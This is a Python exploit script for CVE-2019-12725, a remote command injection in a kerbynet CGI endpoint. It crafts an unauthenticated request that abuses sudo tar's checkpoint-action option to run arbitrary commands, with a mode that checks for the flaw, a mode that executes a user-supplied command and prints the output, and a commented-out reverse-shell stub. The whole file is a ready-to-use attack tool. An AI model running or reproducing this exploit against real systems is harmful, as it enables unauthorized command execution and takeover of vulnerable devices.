import requests
import sys 
import optparse
requests.packages.urllib3.disable_warnings()



def banner():
    banner = """
  ___  _  _  ____     ___   ___  __  ___      __  ___   ___  ___   ___ 
 / __)( \/ )( ___)___(__ \ / _ \/  )/ _ \ ___/  )(__ \ (__ )(__ \ | __)
( (__  \  /  )__)(___)/ _/( (_) ))( \_  /(___))(  / _/  / /  / _/ |__ \\
 \___)  \/  (____)   (____)\___/(__) (_/     (__)(____)(_/  (____)(___/

                    Author: givemefivw
                    Usage: python3 CVE-2019-12725.py -u [url] -e [cmd]
    """

    print(banner)

def check(url):
    try:
        payload = """cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d"id"%0A'"""
        header = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Accept-Encoding': 'gzip, deflate',
            'Connection': 'keep-alive'
        }
        res = requests.get(url + payload, headers=header, verify=False, timeout=3)
        if res.status_code == 200 and 'uid' in res.text:
            print("[*] The Target is Vulnerable! You Can Try to Execute Commond!")
        else:
            print("[*] The Target is not Vulnerable!")
    except KeyboardInterrupt:
        sys.exit()

def exec(url, cmd):
    try:
        payload = """cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d"{0}"%0A'""".format(cmd)
        header = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
                'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
                'Accept-Encoding': 'gzip, deflate',
                'Connection': 'keep-alive'
        }
        resp = requests.get(url + payload, headers=header, verify=False, timeout=3)
        if resp.status_code == 200:
            print("[*] Commond Result is : \n" + resp.text.split("<")[0])
        else:
            return
    except KeyboardInterrupt:
        sys.exit()

#$def reverse_shell(url):
#$    try:
#$        commond = input("commond: ")
#$        payload = """cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d"{0}"%0A'""".format(commond)
#$        header = {
#$                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0',
#$                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
#$                'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
#$                'Accept-Encoding': 'gzip, deflate',
#$                'Connection': 'keep-alive'
#$        }
#$        respo = requests.post(url + payload, headers=header, verify=False, timeout=3)
#$    except KeyboardInterrupt:
#$        sys.exit()

def main():
    paser = optparse.OptionParser()
    paser.add_option('-u', '--url', action="store", dest="url", help="-u example.com")
    paser.add_option('-e', '--excute', type=str, dest="cmd", help="-c whoami")
    options,args = paser.parse_args()

    url = options.url
    cmd = options.cmd

    if url != None and cmd is None:
        check(url)
    elif cmd != None and url != None:
        exec(url, cmd)

if __name__ == "__main__":
    banner()
    main()